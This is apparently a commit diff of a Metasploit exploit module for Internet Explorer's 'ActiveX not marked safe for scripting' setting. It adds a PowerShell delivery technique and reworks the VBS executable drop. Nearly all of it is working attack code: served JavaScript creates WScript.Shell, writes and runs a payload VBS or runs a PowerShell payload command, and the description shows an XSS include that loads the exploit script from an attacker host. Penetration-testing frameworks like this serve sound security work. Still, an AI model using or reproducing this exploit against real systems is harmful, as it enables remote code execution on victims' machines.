6
6
##
7
7
8
8
require 'msf/core'
9
+ require 'msf/util/exe'
10
+ require 'msf/core/exploit/powershell'
9
11
10
12
class Metasploit3 < Msf ::Exploit ::Remote
11
13
Rank = ExcellentRanking
12
14
13
15
include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
16
include Msf ::Exploit ::EXE
17
+ include Msf ::Exploit ::Powershell
15
18
16
19
def initialize ( info = { } )
17
20
super ( update_info ( info ,
@@ -21,10 +24,7 @@ def initialize(info = {})
21
24
marked safe for scripting" setting within Internet Explorer. When this option is set,
22
25
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
23
26
interact with the file system and run commands. This security flaw is not uncommon
24
- in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to
25
- save binary data to the file system, ADODB.Stream access is required, which in IE7
26
- will trigger a cross domain access violation. As such, we write the code to a .vbs
27
- file and execute it from there, where no such restrictions exist.
27
+ in corporate environments for the 'Intranet' or 'Trusted Site' zones.
28
28
29
29
When set via domain policy, the most common registry entry to modify is HKLM\
30
30
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
@@ -35,96 +35,73 @@ def initialize(info = {})
35
35
via a direct GET http://msf-server/ or as a javascript include, such as in:
36
36
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
37
37
</script>.
38
+
39
+ IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from
40
+ an x64 iexplore.exe.
38
41
} ,
42
+
39
43
'License' => MSF_LICENSE ,
40
44
'Author' =>
41
45
[
42
- 'natron'
46
+ 'natron' ,
47
+ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # PSH and remove ADODB.Stream
43
48
] ,
44
- 'References' =>
49
+ 'References' =>
45
50
[
46
51
[ 'URL' , 'http://support.microsoft.com/kb/182569' ] ,
47
52
[ 'URL' , 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ] ,
53
+ [ 'URL' , 'http://support.microsoft.com/kb/870669' ]
48
54
] ,
49
- 'DisclosureDate' => 'Sep 20 2010' ,
50
- 'Payload' =>
51
- {
52
- 'Space' => 2048 ,
53
- 'StackAdjustment' => -3500 ,
54
- } ,
55
- 'Platform' => 'win' ,
56
- 'Targets' =>
55
+ 'DisclosureDate' => 'Sep 20 2010' ,
56
+ 'Platform' => 'win' ,
57
+ 'Targets' =>
58
+ [
59
+ [ 'Windows x86/x64' , { 'Arch' => ARCH_X86 } ]
60
+ ] ,
61
+ 'DefaultOptions' =>
62
+ {
63
+ 'HTTP::compression' => 'gzip'
64
+ } ,
65
+ 'DefaultTarget' => 0 ) )
66
+
67
+ register_options (
57
68
[
58
- [ 'Automatic' , { } ] ,
59
- ] ,
60
- 'DefaultOptions' =>
61
- {
62
- 'HTTP::compression' => 'gzip'
63
- } ,
64
- 'DefaultTarget' => 0 ) )
69
+ OptEnum . new ( 'TECHNIQUE' , [ true , 'Delivery technique (VBS Exe Drop or PSH CMD)' , 'VBS' , [ 'VBS' , 'Powershell' ] ] ) ,
70
+ ] , self . class
71
+ )
65
72
end
66
73
67
74
def on_request_uri ( cli , request )
68
75
69
- #print_status("Starting...");
70
76
# Build out the HTML response page
71
- var_shellobj = rand_text_alpha ( rand ( 5 ) +5 ) ;
72
- var_fsobj = rand_text_alpha ( rand ( 5 ) +5 ) ;
73
- var_fsobj_file = rand_text_alpha ( rand ( 5 ) +5 ) ;
74
- var_vbsname = rand_text_alpha ( rand ( 5 ) +5 ) ;
75
- var_writedir = rand_text_alpha ( rand ( 5 ) +5 ) ;
76
- var_exename = rand_text_alpha ( rand ( 5 ) +5 ) ;
77
- var_origLoc = rand_text_alpha ( rand ( 5 ) +5 ) ;
78
- var_byteArray = rand_text_alpha ( rand ( 5 ) +5 ) ;
79
- var_stream = rand_text_alpha ( rand ( 5 ) +5 ) ;
80
- var_writestream = rand_text_alpha ( rand ( 5 ) +5 ) ;
81
- var_strmConv = rand_text_alpha ( rand ( 5 ) +5 ) ;
82
-
83
- p = regenerate_payload ( cli ) ;
84
- print_status ( "Request received for #{ request . uri } " ) ;
85
- exe = generate_payload_exe ( { :code => p . encoded } )
86
- #print_status("Building vbs file...");
87
- # Build the content that will end up in the .vbs file
88
- vbs_content = Rex ::Text . to_hex ( %Q|Dim #{ var_origLoc } , s, #{ var_byteArray }
89
- #{ var_origLoc } = SetLocale(1033)
90
- | )
91
-
92
- print_status ( "Encoding payload into vbs/javascript/html..." ) ;
93
- # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
94
- # for conversion with ADODB.Stream
95
-
96
- vbs_ary = [ ]
97
- # The output of this loop needs to be as small as possible since it
98
- # gets repeated for every byte of the executable, ballooning it by a
99
- # factor of about 80k (the current size of the exe template). In its
100
- # current form, it's down to about 4MB on the wire
101
- exe . each_byte do |b |
102
- vbs_ary << Rex ::Text . to_hex ( "s=s&Chr(#{ ( "%d" % b ) } )\n " )
77
+ var_shellobj = rand_text_alpha ( rand ( 5 ) +5 )
78
+
79
+ p = regenerate_payload ( cli )
80
+ if datastore [ 'TECHNIQUE' ] == 'VBS'
81
+ js_content = vbs_technique ( var_shellobj , p )
82
+ else
83
+ js_content = psh_technique ( var_shellobj , p )
103
84
end
104
- vbs_content << vbs_ary . join ( "" )
105
85
106
- # Continue with the rest of the vbs file;
107
- # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
108
- # Then use ADODB.Stream again to write the binary to file.
109
- #print_status("Finishing vbs...");
110
- vbs_content << Rex ::Text . to_hex ( %Q|
111
- Dim #{ var_strmConv } , #{ var_writedir } , #{ var_writestream }
112
- #{ var_writedir } = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\ #{ var_exename } .exe"
86
+ print_status ( "Request received for #{ request . uri } " )
87
+ print_status ( "Sending exploit html/javascript" ) ;
113
88
114
- Set #{ var_strmConv } = CreateObject("ADODB.Stream")
89
+ # Transmit the response to the client
90
+ send_response ( cli , js_content , { 'Content-Type' => 'text/html' } )
115
91
116
- #{ var_strmConv } .Type = 2
117
- #{ var_strmConv } .Charset = "x-ansi"
118
- #{ var_strmConv } .Open
119
- #{ var_strmConv } .WriteText s, 0
120
- #{ var_strmConv } .Position = 0
121
- #{ var_strmConv } .Type = 1
122
- #{ var_strmConv } .SaveToFile #{ var_writedir } , 2
92
+ # Handle the payload
93
+ handler ( cli )
94
+ end
123
95
124
- SetLocale(#{ var_origLoc } )| )
96
+ def vbs_technique ( var_shellobj , p )
97
+ var_fsobj = rand_text_alpha ( rand ( 5 ) +5 )
98
+ var_fsobj_file = rand_text_alpha ( rand ( 5 ) +5 )
99
+ var_vbsname = rand_text_alpha ( rand ( 5 ) +5 )
100
+ var_writedir = rand_text_alpha ( rand ( 5 ) +5 )
125
101
126
- # Encode the vbs_content
127
- #print_status("Hex encoded vbs_content: #{vbs_content}");
102
+ exe = generate_payload_exe ( { :code => p . encoded } )
103
+ vbs = Msf ::Util ::EXE . to_exe_vbs ( exe )
104
+ vbs_content = Rex ::Text . to_hex ( vbs )
128
105
129
106
# Build the javascript that will be served
130
107
js_content = %Q|
@@ -138,18 +115,24 @@ def on_request_uri(cli, request)
138
115
#{ var_fsobj_file } .Close();
139
116
140
117
#{ var_shellobj } .run("wscript.exe " + #{ var_writedir } + "\\ \\ " + "#{ var_vbsname } .vbs", 1, true);
141
- #{ var_shellobj } .run(#{ var_writedir } + "\\ \\ " + "#{ var_exename } .exe", 0, false);
142
118
#{ var_fsobj } .DeleteFile(#{ var_writedir } + "\\ \\ " + "#{ var_vbsname } .vbs");
143
119
//</script></html>
144
120
|
121
+ return js_content
122
+ end
145
123
146
- print_status ( "Sending exploit html/javascript" ) ;
147
- print_status ( "Exe will be #{ var_exename } .exe and must be manually removed from the %TEMP% directory on the target." ) ;
148
-
149
- # Transmit the response to the client
150
- send_response ( cli , js_content , { 'Content-Type' => 'text/html' } )
124
+ def psh_technique ( var_shellobj , p )
125
+ cmd = cmd_psh_payload ( p . encoded )
126
+ cmd . gsub! ( '"' , '' )
127
+ cmd . gsub! ( '\\powershell.exe\\' , "'powershell.exe'" )
128
+ cmd . strip! # Remove trailing new line
129
+ js_content = %Q|
130
+ //<html><head></head><body><script>
131
+ var #{ var_shellobj } = new ActiveXObject("WScript.Shell");
132
+ #{ var_shellobj } .run("#{ cmd } ", 1, true);
133
+ //</script></html>
134
+ |
151
135
152
- # Handle the payload
153
- handler ( cli )
136
+ return js_content
154
137
end
155
138
end
0 commit comments